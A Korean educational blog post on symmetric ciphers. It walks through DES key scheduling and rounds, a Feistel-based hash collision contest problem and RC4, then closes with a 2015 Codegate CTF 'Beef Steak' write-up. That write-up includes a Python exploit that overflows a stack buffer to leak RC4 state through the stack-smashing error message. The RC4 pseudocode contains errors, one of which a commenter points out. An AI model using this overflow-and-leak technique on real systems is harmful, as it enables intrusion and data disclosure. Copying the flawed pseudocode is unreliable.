암알못의 암호핥기 – 대칭키 암호

대칭키? 비대칭키?

드디어 현대 암호로 넘어왔습니다!
현대 암호에서 키를 이용한 암호화 방식에는 크게 두 가지, 대칭키와 비대칭키 방식이 있습니다.
대칭키와 비대칭키의 이름에서 알 수 있듯, 대칭키는 암호화와 복화화 키가 동일하구요, 비대칭키는 암호화와 복호화 키가 서로 다릅니다.

그 중에서 오늘은 대칭키 암호화에 대해서 알아보려고 합니다!
대칭키 암호는 키가 하나라도 노출되면 암호화와 복호화가 가능하므로 키 관리가 굉장히 중요합니다.
키를 비밀스럽게 보관해야한다는 의미로 비밀키 암호라고도 합니다.

현대 암호에 사용되는 대칭키 암호.. 어려운 느낌이 팍팍 듭니다.
ㅠㅠ


대칭키 암호 살펴보기

블록 암호? 스트림 암호?

대칭키 암호는 암호화 알고리즘에 따라 블록 암호화 스트림 암호로 나뉩니다.
블록 암호는 고정된 N 비트의 블록으로 나누어 암호화 알고리즘을 적용하고
스트림 암호는 유사 난수를 생성하여 암호화하려는 값과 XOR 연산을 통해 1비트씩 암호화를 수행합니다.

스트림 암호의 경우, 암호화 알고리즘이 블록 암호보다 단순하기 때문에 구현이 쉽고 속도가 빠르지만 암호화 강도는 약합니다.
주로 속도를 중요시하는 무선 통신에 사용되는데, 대표적인 예로는 RC4가 있습니다.
우리가 흔히 들었던 DES, AES 는 블록 암호에 속합니다.

한 번쯤 들어봤던 익숙한 이름들인가요?


블록 암호 대표, DES 알아보기

블록 암호 하면 생각나는 대표적인 알고리즘, DES(Data Encryption Standard) 를 알아봅시다!
우선 DES 알고리즘의 전체적인 과정은 아래 그림과 같습니다.

DES_최종

보조키 만들기

DES 암호화 알고리즘의 과정 중에는 키를 이용하여 생성한 보조키가 쓰입니다.
암호화 알고리즘을 알아보기 전에, 여기에 쓰이는 보조키를 어떻게 생성해내는지 그 과정을 먼저 알야할 것 같네요?

보조키_최종

DES의 전체 과정 중 보조키를 생성하는 부분입니다!

DES는 56 bits 의 비밀키를 사용하는데요, 여기에 7비트 마다 에러 정정 비트를 삽입하기 때문에 보조키를 생성할 때는 총 64 bits의 키가 들어가게 됩니다.

64 bits 의 키 중 에러 정정 비트를 제외시키고 비트의 배열을 바꾸기 위해 PC-1 (Permutation Choice) 을 적용하여 전치합니다.

PC1

DES supplementary material : 위키 피디아(영문)

위 표는 57번째 비트를 첫 번째 자리로, 49번째 비트를 두 번째 자리로 위치시키라는 뜻입니다.
그리고 이 표에는 8의 배수가 없는데요, 7비트 마다 삽입된 에러 정정 비트를 제외시킨 것입니다.
이 작업을 통해 다시 56 bits 의 배열이 만들어집니다.

말로만 하니 안 와닿죠?^-^ 예시를 들어볼까요??
암호화 키 56 bits 는 “Notepad” 로 합시다.

01001110 01101111 01110100 01100101 01110000 01100001 01100100

8 bits 가 7개 나왔습니다.
여기에 7 bits 마다 에러 정정 비트를 삽입하면,

01001110 00110110 11011101 10001101 01010110 10000010 10000100 11001001

8개의 비트가 삽입되어 총 64 비트가 됩니다.

여기에 PC-1 전치를 적용해보겠습니다.

Left 1110110 0100101 0100000 0100001
Right 0011001 1010111 1110000 1010110

Left와 Right, 각각 28 bits 씩 총 56 bits 가 됩니다!

다음으로 이렇게 구해진 Left와 Right 각각에 대해 좌측 순환 이동을 적용합니다.
총 16라운드를 거치며 16개의 보조키를 생성하는데요, 라운드마다 몇 비트씩 이동하는지는 조금씩 다릅니다.

좌측_순환이동

DES supplementary material : 위키 피디아(영문)

예제 중 Left에 적용해보자면, 1라운드에서는 좌측으로 1비트 이동하게 됩니다.

Before 1110110 0100101 0100000 0100001
After 1101100 1001010 1000000 1000011

1라운드 순환 이동을 거친 Left와 Right는 다시 합쳐져서 PC-2 전치를 거칩니다.

PC2

DES supplementary material : 위키 피디아(영문)

PC-2에서는 8개의 비트가 제외되게 되고, 48개의 비트만 남습니다.

여기까지의 과정을 마치면 드디어 16개의 보조키 중 첫 번째 보조키(48 bits)가 완성된 것입니다!
두 번째 보조키는 1라운드 순환을 마친 Left와 Right를 가지고 2라운드 순환과 PC-2를 거쳐 만들어지고
16라운드 반복을 통해 16개의 보조키가 탄생합니다.

암호화 하기

암호화 알고리즘에 쓰이는 뗄감을 얻었으니 이제 본격적으로 암호화 과정을 알아봅시다.

암호화_최종

암호화 과정입니다.

먼저, 암호화 하려는 평문을 이진수로 바꾸고, 해당 이진수를 64 bits 의 블록 단위로 쪼개는 작업이 필요합니다.
암호화 알고리즘은 쪼개진 64 bits 블록에 대해 각각 적용됩니다.

이 64 bist 의 블록은 IP(Initial Permutation) 라는 초기 순열을 이용한 전치를 거쳐 새로운 64 bits 를 생성합니다.

IP

DES supplementary material : 위키 피디아(영문)

58번째 비트가 첫 번째 자리로, 50번째 비트가 두 번째 자리로.. 재배열된 64 bits 배열!

이 배열은 왼쪽과 오른쪽, 각각 32 bits 씩 분리되어 암호화 과정을 거칩니다.
분리된 왼쪽 비트를 L0, 오른쪽 비트를 R0라고 하면, 1라운드의 암호화를 거쳐 L1과 R1을 생성합니다.

L1은 R0를 그대로 가져다 쓰는데 R1을 만드는 과정이 조금 복잡하..지만 어렵지 않으니 안심하세요!

우선 32 bits 인 R0에 확장 순열(Expansion Permutation)을 사용한 전치를 적용하여 48 bits 배열로 확장합니다.

확장치환

DES supplementary material : 위키 피디아(영문)

엇?! 48 bits?! 어디서 많이 들어본 길이인데..
네! 보조키 수열과 길이가 같군요! 1라운드이니 첫 번째 보조키와 XOR 해줍니다..

연산된 48 bits 를 토막토막 잘라서 6 bits 길이의 8 토막으로 나눕니다.
여기에 S-box(Substitution boxes) 치환을 적용해야하는데요, 지금 까지 등장한 방법들과 조금 다릅니다.

sbox

DES supplementary material : 위키 피디아(영문)

지금까지 전치를 사용하여 새로운 배열을 만들었는데, 이번에는 치환이 등장합니다.
6 bits 중 첫 번째 비트와 여섯번째 비트가 합쳐져서 행 번호를 가리키고, 2,3,4 번째 비트는 열 번호를 가리킵니다.
그럼 위 표에 의해, 8 토막이 가리키는 8개의 숫자가 나옵니다.
각각을 4 bits 의 이진수로 바꾸어 연결해서 32 bits 배열로 만듭니다.

마지막으로, 이 32 bits 배열에 P(Permutation) 전치를 거칩니다!

p

DES supplementary material : 위키 피디아(영문)

최종적으로 32 bits 배열이 나왔네요,
32 bits?! 어디서 많이 들어본 길이인데..
네! L0와 길이가 같네요! 둘을 XOR 해줍니다..

여기까지 1라운드가 끝났습니다~
1라운드가 시작되고부터 L0와 XOR 하기 전까지의 과정을 F(Feistel) 연산이라고 합니다.

2라운드에서는 1라운드 결과로 생성된 L1과 R1을 가지고 같은 연산을 거칩니다.
이렇게 16라운드를 마치면 L16과 R16이 생성될텐데요, 여기서 끝은 아닙니다.

생성된 L16과 R16의 위치를 서로 바꾼 다음 (L16 + R16 -> R16 + L16),
초기 전치에 사용된 IP 순열에 역 순열인 IP-1 (IP 역 전치) 를 이 64 bits 에 적용합니다.

IP역

DES supplementary material : 위키 피디아(영문)

드디어 DES 암호화 과정이 끝났습니다~ 다시 정리!!

[보조키 만들기]
1. 64 bits 키에 PC-1 전치를 적용하여 56 bits 생성
2. 56 bits 를 28 bits 씩, C0와 D0로 나누기
3. C0와 D0, 각각에 좌측 순환 이동을 적용하여 C1과 D1 생성
4. C1과 D1에 PC-2 전치를 적용하여 48 bits 보조키 K1 생성
5. C1과 D1에 3, 4 번 과정 적용, 16번 반복하며 총 16개의 보조키 생성

[암호화 하기]
1. 평문 -> 이진수 -> 64 bits 블록 단위로 쪼개기
2. 64 bits 블록에 IP 초기 전치를 적용하여 새로운 64 bits 생성
3. 왼쪽 32 bits 인 L0와 오른쪽 32 bits 인 R0 로 L1과 R1 만들기
  3-1. L1 = R0
  3-2. R1 = f(R0) XOR L0, f(x) : x -> 확장 전치 -> 보조키와 XOR -> S-box 치환 -> P 전치
4. 3의 과정을 16번 반복
5. 최종 생성된 L16과 R16을 서로 바꾸어 합침
6. 합친 64 bits 에 IP 역 전치 적용하여 최종 암호문 생성

추가로, DES를 운영하는 방식에는 네 가지가 있습니다.

- ECB(Electronic CodeBook)
  가장 간단한 방식. 평문을 64 bits 씩 나누어 암호화 한다.
  64 bits 로 나누어 떨어지지 않으면 약속된 패딩 비트를 삽입한다.
- CBC(Cipher Block Chaining)
  출력 암호문이 다음 평문 블록에 영향을 미치게 하여
  ECB와는 달리 동일한 평문이라 하더라도 다른 암호문이 생성된다.
- CFB(Cipher FeedBack)
  통신 프로토콜에 사용될 수 있다.
  DES 알고리즘으로 생성된 키 수열과 r 비트 단위의 평문을 XOR 하여 암호문을 만든다.
  암호문은 다시 키 수열을 만든는데에 쓰인다.
  CBC와 마찬가지로 동일한 평문에 대해 다른 암호문을 생성할 수 있다.
- OFB(Output FeedBacck)
  CFB 와 비슷하지만 생성된 암호문이 다음 암호문에 영향을 미치지 않는다.
  DES 알고리즘으로 생성된 키 수열 중 왼쪽의 r 비트를 암호화하는데 사용하고,
  키 수열의 왼쪽 r 비트가 다음 키 수열을 만드는데에 사용된다.
  동일한 평문에 대해 다른 암호문을 생성하면서, 
  CFB에서 잡음에 의해 잘못 생성된 암호문으로 인해 발생할 수 있는 오류 전파 문제를 해결할 수 있다.

2014 국가 암호 공모전 (1-A) 분야 3번

DES 알고리즘도 익힐겸 2014년 국가 암호 공모전에 나왔던 관련 문제를 풀어볼까합니다.
이 문제는 DES 알고리즘 중에서도 Feistel 연산에 관한 것입니다.

2014년 국가 암호 공모전 ( 1-A ) 분야 3번 문제
2014_국가암호공모전1-A분야_문제_03.pdf

대충 문제의 내용은 이렇습니다.

국암1

DES를 기반으로 하는 이러한 해쉬 함수를 만들었는데,
이 해쉬 함수에서 서로 다른 메시지에 대해 같은 해쉬 값을 출력하는 “충돌쌍“을 찾는 알고리즘을 제시하고 그 예시를 제시하시오.

이 해쉬 함수는 DES 알고리즘을 사용하는 CF라는 함수를 통해 평문 중 i 번째 64 bits 와 i 번째 해쉬 값을 가지고 i+1 번째 해쉬 값을 만들고,
그 해쉬 값과 평문 중 i+1 번째 64 bits 로 다음 해쉬 값을 만드는 방식으로 최종 해쉬값 hn 을 만들고 있습니다.

CF 함수의 동작 과정은 문제에 나와있습니다.

국암2

CF 함수는 64 bits 해쉬를 왼쪽과 오른쪽으로 나누어 L~0 와 R~0 라고 하고,
j가 0부터 7일 때까지는 DES에서와 매우 비슷한 과정으로 동작합니다.
이때, Feistel 연산에서 Mi 의 j번째 48bits가 보조키로 쓰이고 있습니다.

j가 8부터 15일 때는 보조키 부분이 조금 달라집니다.
마지막 보조키부터 역순으로 가져오고, 거기에 (j-8)과 XOR 연산을 거친 값을 실제 보조키로 사용하고 있습니다.

이 문제의 핵심은 Feistel 연산입니다!
Feistel 연산은 짝수 라운드 만큼 반복되며 암호화와 복호화 과정이 동일합니다.
즉, 다음과 같은 연산이 가능합니다.

feistel_암복

2라운드까지만 예시를 들어봤는데요,
보조키 M1 과 M2 를 이용해서 암호화하고, 그 결과에 보조키 M2 와 M1 을 이용하면 원래의 값으로 복호화할 수 있습니다.

다시 문제로 돌아와서, Feistel 을 16 라운드 수행한 CF 함수의 결과 값을 복호화하려면 어떻게 해야할까요?
보조키로 쓰였던 M들을 반대의 순서로 적용해주면 되겠죠?!

복호화테이블

암호화 과정에서 M0, M1, … , M1 XOR 6, M0 XOR 7 이라는 보조키를 사용했다면,
복호화 과정에서는 M0 XOR 7, M1 XOR 6, … , M1, M0 라는 보조키를 사용하면 됩니다.

여기서 j=8 부터는 보조키에 (j-8)을 XOR 해서 사용하기 때문에 어떤 값을 넣어야 위의 표처럼 우리가 원하는 값이 제대로 들어갈지 고민이 생깁니다.
하지만 XOR의 특성상 똑같은 값을 두 번 XOR 하면 원래 값이 나오죠?!
XOR 될 값을 미리 연산해놓으면 XOR 연산이 두 번 일어나게 되어 원래의 값이 됩니다.

입력값

자, 여기까지 하면 충돌쌍이 보이시나요?

CF 함수는 초기의 해쉬 값인 h(64 bits)에 Feistel 연산을 수행하며 새로운 해쉬 값 hn 을 만드는 함수였습니다.
여기에 쓰이는 보조키는 입력값인 메시지 M이었구요.
만약 메시지 M이 mm'(m,m’는 각각 384 bits, m’는 m을 복호화 하는 값으로 이루어짐)의 구조를 갖는다면
h라는 해쉬 값을 암호화한 후, 다시 복호화 과정을 거쳐 h라는 초기의 해쉬 값을 출력하게 됩니다.

만약 m’m 이라는 메시지가 입력되면 어떻게 될까요?
이번에는 m’가 암호화 과정, m이 복호화 과정이 되어 h라는 초기의 해쉬 값을 출력합니다.

mm’와 m’m은 서로 다른 메시지 지만 h라는 동일한 해쉬 값을 갖으므로 충돌쌍입니다! ^0^

DES의 한계

DES는 현재 취약한 것으로 알려져있습니다.
기술의 발전에 의해 56 bits 의 키 길이는 너무 짧은 것이 되었고, Brute-Force에 의해 해독이 가능합니다.

현재는 DES를 세 번 반복해서 사용하는 Triple-DES나 AES(Advanced Encryption Standard)를 사용하고 있습니다.


스트림 암호 대표, RC4 알아보기

스트림 암호 중에서는 RC4 알고리즘을 알아볼건데요,
RC4는 TLS나 WEP 등 여러 프로토콜에 널리 사용되어온 알고리즘입니다.

RC4 알고리즘

DES 보다 간단합니다! 안심하세요!

RC4_최종

RC4 알고리즘은 shuffling 기법을 사용하여 중복이 없는 유사 난수를 생성하고 평문과 XOR 연산을 통해 암호문을 만듭니다.

우선 S 배열에 0부터 255까지의 숫자를 넣은 뒤, 입력 받은 key 값을 이용하여 이 값들을 섞습니다.
이걸 초기화 과정이라고 하구요,

for( i = 0; i < 256; i++ )
{
    S[i] = i;
}

j = 0;
for( i = 0; i < 256 )
{
    j = ( j + S[i] + key[ i % keylength] ) % 256;
    swap( &S[i], &S[j] );
}

이렇게 S 배열을 초기화하고 나면 S 배열의 값을 이용하여 한 번 더 섞고,
S 배열을 이용하여 keystream을 생성합니다.
keystream은 평문과 XOR 연산으로 암호문을 만듭니다.
이것을 암호화 과정이라고 합니다.

i = 0;
j = 0;
for( m = 0; m < plainlength; m++ )
{
    i = ( i + 1 ) % 256;
    j = ( j + S[i] ) % 256;
    swap( &S[i], &S[j] );
    t = ( S[i] + S[j] ) % 256;
    keystream = S[t];
    cipher[m] = plain[m] ^ S[keystream];
}

완전한 난수는 아니지만 마치 난수처럼 생긴 유사 난수를 이용하고 있는데요,
유사 난수를 생성할 때는 key 값을 기반으로 생성하기 때문에 key 값이 같다면 동일한 유사 난수가 생성됩니다.

그리고 또 하나, 암호문은 유사 난수들과 평문을 XOR 해서 만드는데요,
XOR의 특성상 암호문에 유사 난수를 다시 XOR 하면 평문이 나오게 됩니다!

2015 Codegate CTF 예선 Beef Steak (pwn, 400pt)

RC4를 익히는 문제로는 2015년 Codegate CTF 예선의 400 점짜리 pwnable! Beef Steak 문제를 풀어보려고 합니다.

문제에서는 64 bits 바이너리인 steak 가 주어집니다.

steak0

좋아하는 음식이 뭐냐고 물어보길래 일단 “shrimp” 라고 대답했습니다.
자기는 싫다네요ㅎ

steak_4가지

바이너리를 분석하면 크게 네 가지 기능이 있습니다.

  1. 우리가 모르는 key 값(/home/steak/flag)을 이용해 state 배열을 초기화(rc4_init 함수)한다.
  2. ebp-0x30 에 위치한 s 변수에 512 바이트 만큼의 데이터를 입력(fgets 함수) 받는다.
  3. state 배열을 이용하여 s 변수의 데이터를 암호화(rc4_encrypt 함수)한다.
  4. 암호화 결과인 output이 byte_400DA6의 데이터와 일치하면 message 파일에 데이터를 쓸 수 있다.

이 글에서는 RC4에 초점을 맞추기 위해 output을 byte_400DA6과 같도록 맞춰주는 작업까지만 하겠습니다.

RC4 알고리즘으로 암호화 한 결과가 byte_400DA6 이 되는 평문을 알아내야 하는데요,
RC4는 XOR를 사용하기 때문에 암호화 알고리즘과 복호화 알고리즘이 같다고 했었습니다.

평문 XOR state[] = 암호문
암호문 XOR state[] = 평문

암호문은 알고 있으니 전역 변수인 state 값만 알면 평문을 구할 수 있겠는데요??

여기서 취약점을 이용합시다.
위에서 분석한 바이너리의 기능 중 두 번째 기능을 보면 ebp-0x30의 위치에 최대 512 바이트의 입력을 받으므로 Buffer Overflow 가 발생합니다.
그냥 RET를 덮으려고 하면

ssp

SSP(Stack Smashing Protector) 보호기법에 걸립니다.

ssp2

하지만 여기 보이시나요?
Overflow가 일어나게 되면 canary 변조를 인지하여 이러한 에레 메시지를 띄워주는데,
출력되는 값 중 프로그램의 이름, 즉 argv[0]이 가리키는 값도 출력됩니다.

RET를 지나 스택을 좀더 덮어서 argv[0]의 자리에 state 배열의 주소를 써주면 에러 메시지에서 state 배열의 값들이 leak 되겠죠?

leak 시키기 전에, 한 가지 문제가 더 있습니다.
RC4 알고리즘은 크게 두 단계가 있죠? S 배열 초기화와 암호화.
그런데 S 배열을 초기화 하고 나서 암호화 단계로 갔을 때, 한 글자씩 암호화를 거치면서 S 배열의 값도 SWAP 되어 바뀌어버립니다.
초기화를 마친 그 상태 그대로의 state 가 필요한데 말이죠..

RC4 중 암호화 알고리즘을 다시 봅시다.

i = 0;
j = 0;
for( m = 0; m < plainlength; m++ )
{
    i = ( i + 1 ) % 256;
    j = ( j + S[i] ) % 256;
    swap( &S[i], &S[j] );
    t = ( S[i] + S[j] ) % 256;
    keystream = S[t];
    cipher[m] = plain[m] ^ S[keystream];
}

for문을 평문의 길이(plainlength) 만큼 돌면서 또, 그만큼의 swap을 하네요.
평문의 길이가 0이라면 어떨까요??!!
for 문을 한 번도 돌지 않고, 초기화 상태의 S 배열이 그대로 유지될 것입니다!

오호, 그럼 이걸 이용해서 스택에 널 바이트 ‘\x00’ 를 argv[0] 직전까지 넣어주고, argv[0]에는 state 배열의 주소를 넣어주면
strlen은 널 바이트를 만났기 때문에 길이를 0으로 인식하여 초기화 상태의 S 배열을 유지하고,
SSP 보호기법에 걸리면서 argv[0]이 가리키고 있는 state 배열이 leak 될 것입니다!!

leak 된 state 배열을 가지고 byte_400DA6의 바이트들을 암호화시키면 평문을 구할 수 있습니다!
구해봅시다~

'''
RC4 Algorithm
2014 Codegate CTF Quals - Beef Steak (PWN, 400pt)
'''

from socket import *
from struct import *
import sys, traceback

p = lambda x : pack("<Q", x)
up = lambda x : unpack("<B", x)

host = 'localhost'
port = 8888

enc = [0x62, 0x31, 0xaa, 0x85, 0xbd, 0xbf, 0x9f, 0xf3, 0x8a, 0x2, 0xc, 0x75, 0xac, 0x23, 0xab, 0xe4, 0x82, 0xc5, 0x25, 0x7a, 0xef, 0xbd, 0xc9, 0x61]

def until(s, string):
    data = ''
    while string not in data:
        data += s.recv(1)
    return data

def connect(host, port):
    sock = socket(AF_INET, SOCK_STREAM, 0)
    sock.connect((host, port))
    return sock


def leak(m):
    sock = connect(host, port)

    print until(sock, "?\n")

    payload = ""
    payload += "\0"*280
    payload += p(m)

    sock.send(payload+"\n")

    print until(sock, "........")
    print until(sock, ": ")

    s = until(sock, "terminated")
    s = s.split(" terminated")[0]

    return s

def rc4(S, M):
    i = j = 0
    result = ''
    for cnt in range(len(M)):
        i = ( i+1 ) % 256
        j = ( j + S[i] ) % 256
        tmp = S[i]
        S[i] = S[j]
        S[j] = tmp
        t = ( S[i] + S[j] ) % 256
        result += chr(M[cnt] ^ S[t])
    return result

if __name__ == "__main__":
    arr = [0 for col in range(256)]

    print ""
    print "[+] First Leak [+]"
    s = leak(0x602160)

    print ""
    print "[+] Add 0x00 [+]"
    s += "\x00"

    print ""
    print "[+] Seconds Leak [+]"
    s += leak(0x602160+204)

    for i in range(len(s)):
        arr[i] = up(s[i])[0]

    print ""
    print "[!] Plain text here [!]"
    print rc4(arr, enc)

S 배열에 해당하는 state 배열은 0부터 255 까지의 수를 저장하기 때문에 0이 저장된 배열에서 출력이 끊기게 됩니다.
그래서 끊긴 다음 위치에서부터 leak을 한 번 더 시켜주었습니다.

payload

짠 ^-^
평문을 구했습니다.

payload2

짠 ^-^
좋아하는 음식이 맞다네요~
이제 메시지를 남길 수 있습니다!

저희는 RC4를 알아보기 위한 것이므로 문제풀이는 여기서 마치겠습니다~

RC4의 한계

WEP는 RC4 알고리즘을 사용하는 암호화 방식이고 취약하다고 알려져있습니다.
WEP에서는 패킷마다 랜덤하게 생성되는 24 bits 의 IV와 WEP key를 합쳐서 RC4 알고리즘을 통해 keystream을 구하는데요,
5000개의 패킷을 생성하면 약 52%의 확률로 동일한 IV가 생성된다고 합니다.

WEP key는 그대로인 상태에서 IV의 값이 변하는 것인데, 동일한 IV가 생성된다면 RC4에 대해 동일한 키를 재사용하게 되고!
재사용된 IV와 암호문들을 알면 평문을 추측할 수 있게 됩니다.


마무리

암호화 키와 복호화 키가 같고, 키 관리가 굉장히 중요했던 대칭키 암호!
블록 암호의 대표로 DES, 스트림 암호의 대표로 RC4 를 알아봤습니다.

엄청난 고난을 예상했던 것과 다르게 재밌었네요 ㅎㅎ
알고리즘의 과정을 분석하니 취약성에 대해 좀 더 이해할 수 있었습니다.
다음은 비대칭키 암호를 알아보겠습니다 :)

-written by rls1004

광고

암알못의 암호핥기 – 대칭키 암호”의 5개의 생각

  1. 정리를 참 잘해놓으셨네요 멋있어요!! 화티잉!

    좋아요

  2. 잘봤습니다. 감사합니다.

    좋아요

  3. 재미있게 잘봤습니다 ~

    좋아요

  4. ehdrjslzzz@naver.com 2018-04-19 — 10:52 오전

    정말 최고의 정리입니다! 감사합니다!!

    좋아요

  5. RC4 암호와 알고리즘을 보다가 질문이 있어서 댓글남깁니다.
    i = 0;
    j = 0;
    for( m = 0; m < plainlength; m++ )
    {
    i = ( i + 1 ) % 256;
    j = ( j + S[i] ) % 256;
    swap( &S[i], &S[j] );
    t = ( S[i] + S[j] ) % 256;
    keystream = S[t];
    cipher[m] = plain[m] ^ S[keystream];
    }

    마지막줄이 cipher[m] = plain[m] ^ keystream 이렇게 바뀌어야 하는 것 아닌가요?.

    좋아요

답글 남기기

아래 항목을 채우거나 오른쪽 아이콘 중 하나를 클릭하여 로그 인 하세요:

WordPress.com 로고

WordPress.com의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Google photo

Google의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Twitter 사진

Twitter의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

Facebook 사진

Facebook의 계정을 사용하여 댓글을 남깁니다. 로그아웃 /  변경 )

%s에 연결하는 중

%d 블로거가 이것을 좋아합니다:
search previous next tag category expand menu location phone mail time cart zoom edit close